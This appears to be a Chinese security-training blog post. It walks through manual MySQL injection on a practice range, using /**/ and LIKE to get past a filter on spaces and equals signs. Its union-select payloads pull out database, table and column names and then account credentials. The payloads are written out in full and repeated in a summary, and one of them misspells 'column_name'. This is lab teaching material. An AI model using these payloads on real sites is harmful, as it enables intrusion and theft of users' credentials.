点击上方蓝字关注我们

本系列实战笔记为红日安全核心人员核心学习渗透测试期间记录实战笔记,该笔记主要记录自己学习Web安全和渗透测试一个时间路线,希望可以帮助目前在学习Web安全或者是学习渗透测试的同学不知如何下手,或者是对这个方向比较感兴趣的同学,目前该笔记包含以下几个方向内容:2、Web安全方向,包含SQL注入、XSS跨站、命令执行、SSRF等Web安全方向知识;希望阿痕自己学习笔记可以帮助更多想学习Web安全同学,另外该笔记为系列文章,转载请标注来源
1. 前言
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。2. 判断注入点
通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。
接着咱们再构造如下语句。
/**/and/**/1/**/like/**/2
发现页面报错,说明存在注入点,且为数字型。如下图

3. 判断字段数

接下来,咱们输入如下语句。
发现页面报错,说明数据库里有四个字段,如下图。

4. 判断回显位置
通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。/**/union/**/select/**/1,2,3,4/**/#
结果如下图,我们发现,2,3,两个位置回显到页面上了。
5. 爆库
通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。
/**/union/**/select/**/1,database(),3,4/**/#

6. 爆表
由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

7. 爆字段
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)
然后咱们发现了name,password,两个字段,如下图。
8. 爆账号密码
这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

9. 解密密码,登陆
我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。
10. MySQL手工注入进阶篇实战总结
判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。/**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2
/**/order/**/by/**/4和/**/order/**/by/**/5
/**/union/**/select/**/1,database(),3,4/**/#
/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
海量安全课程
阅读原文 即可观看


